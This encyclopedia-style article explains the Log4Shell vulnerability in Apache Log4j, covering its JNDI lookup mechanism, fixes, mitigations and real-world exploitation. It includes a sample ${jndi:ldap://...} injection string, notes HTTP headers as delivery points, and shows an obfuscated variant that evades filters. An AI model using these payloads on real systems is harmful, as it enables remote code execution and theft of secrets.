Log4Shell

Log4j is an open-source logging framework that allows software developers to log data within their applications. This data can include user input.[20] It is used ubiquitously in Java applications, especially enterprise software.[5] Originally written in 2001 by Ceki Gülcü, it is now part of Apache Logging Services, a project of the Apache Software Foundation.[21] Tom Kellermann, a member of President Obama's Commission on Cyber Security, described Apache as "one of the giant supports of a bridge that facilitates the connective tissue between the worlds of applications and computer environments".[22]

The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol[23] which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.[24]

In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}.[24] For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67.[25] Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL.[24] Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which case they will be substituted and sent to the attacker's server.[26][27] Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).[28][29]

Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as ${jndi.[30] Such basic string matching solutions can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j.[31] Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.[24]

Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1.[32][33][34] The fix included restricting the servers and protocols that may be used for lookups. Researchers discovered a related bug, CVE-2021-45046, that allows local or remote code execution in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups.[35][36] Two more vulnerabilities in the library were found: a denial-of-service attack, tracked as CVE-2021-45105 and fixed in 2.17.0; and a difficult-to-exploit remote code execution vulnerability, tracked as CVE-2021-44832 and fixed in 2.17.1.[37][38] For previous versions, the class org.apache.logging.log4j.core.lookup.JndiLookup needs to be removed from the classpath to mitigate both vulnerabilities.[7][35] An early recommended fix for older versions was to set the system property log4j2.formatMsgNoLookups to true, but this change does not prevent exploitation of CVE-2021-45046 and was later found to not disable message lookups in certain cases.[7][35]

Newer versions of the Java Runtime Environment (JRE) also mitigate this vulnerability by blocking remote code from being loaded by default, although other attack vectors still exist in certain applications.[2][26][39][40] Several methods and tools have been published that help detect vulnerable Log4j versions used in built Java packages.[41]

Where applying updated versions has not been possible, due to a variety of constraints such as lack of resources or third-party managed solutions, filtering outbound network traffic from vulnerable deployments has been the primary recourse for many.[42] The approach is recommended by NCC Group[43] and the National Cyber Security Centre (United Kingdom),[44] and is an example of a defense in depth measure. The effectiveness of such filtering is evidenced[45] by laboratory experiments conducted with firewalls capable of intercepting the egress traffic with several wholly or partially vulnerable versions of the library itself and the JRE.

The exploit allows hackers to gain control of vulnerable devices using Java.[6] Some hackers employ the vulnerability to use victims' devices for cryptocurrency mining, creating botnets, sending spam, establishing backdoors and other illegal activities such as ransomware attacks.[6][8][46] In the days following the vulnerability's disclosure, Check Point observed millions of attacks being initiated by hackers, with some researchers observing a rate of over one hundred attacks per minute that ultimately resulted with attempted attacks on over 40% of business networks internationally.[6][22]

According to Cloudflare CEO Matthew Prince, evidence for usage or testing of the exploit goes back as early as 1 December, nine days before it was publicly disclosed.[47] According to cybersecurity firm GreyNoise, several IP addresses were scraping websites to check for servers that had the vulnerability.[48] Several botnets began scanning for the vulnerability, including the Muhstik botnet by 10 December, as well as Mirai and Tsunami.[6][47][49] Ransomware group Conti was observed using the vulnerability on 17 December.[8]

Some state-sponsored groups in China and Iran also utilized the exploit according to Check Point, but it is not known if the exploit was used by Israel, Russia or the United States prior to the disclosure of the vulnerability.[8][18] Check Point said that on 15 December 2021, Iran-backed hackers attempted to infiltrate the networks of Israeli businesses and government institutions.[8]

As of 14 December 2021, almost half of all corporate networks globally have been actively probed, with over 60 variants of the exploit having been produced within 24 hours.[64] Check Point Software Technologies in a detailed analysis described the situation as being "a true cyber-pandemic" and characterizing the potential for damage as being "incalculable".[65] Several initial advisories exaggerated the amount of packages that were vulnerable, leading to false positives. Most notably, the "log4j-api" package was marked as vulnerable, while in reality further research showed that only the main "log4j-core" package was vulnerable. This was confirmed both in the original issue thread[66] and by external security researchers.[67]

Technology magazine Wired wrote that despite the previous "hype" surrounding multiple vulnerabilities, "the Log4j vulnerability ... lives up to the hype for a host of reasons".[18] The magazine explains that the pervasiveness of Log4j, the vulnerability being difficult to detect by potential targets and the ease of transmitting code to victims created a "combination of severity, simplicity, and pervasiveness that has the security community rattled".[18] Wired also outlined stages of hackers using Log4Shell; cryptomining groups first using the vulnerability, data brokers then selling a "foothold" to cybercriminals, who finally go on to engage in ransomware attacks, espionage and destroying data.[18]

Amit Yoran, CEO of Tenable and the founding director of the United States Computer Emergency Readiness Team, stated "[Log4Shell] is by far the single biggest, most critical vulnerability ever", noting that sophisticated attacks were beginning shortly after the bug, saying "We're also already seeing it leveraged for ransomware attacks, which, again, should be a major alarm bell ... We've also seen reports of attackers using Log4Shell to destroy systems without even looking to collect ransom, a fairly unusual behavior".[18] Sophos's senior threat researcher Sean Gallagher said, "Honestly, the biggest threat here is that people have already gotten access and are just sitting on it, and even if you remediate the problem somebody's already in the network ... It's going to be around as long as the Internet."[18]

According to a Bloomberg News report, some anger was directed at Apache's developers at their failure to fix the vulnerability after warnings about exploits of broad classes of software, including Log4j, were made at a 2016 cybersecurity conference.[68]

• Log4j website
• NCSC overview of Log4Shell on GitHub
• Common Vulnerabilities and Exposures page
• National Vulnerabilities Database page
• Projects affected by cve-2021-44228, by Apache Security Team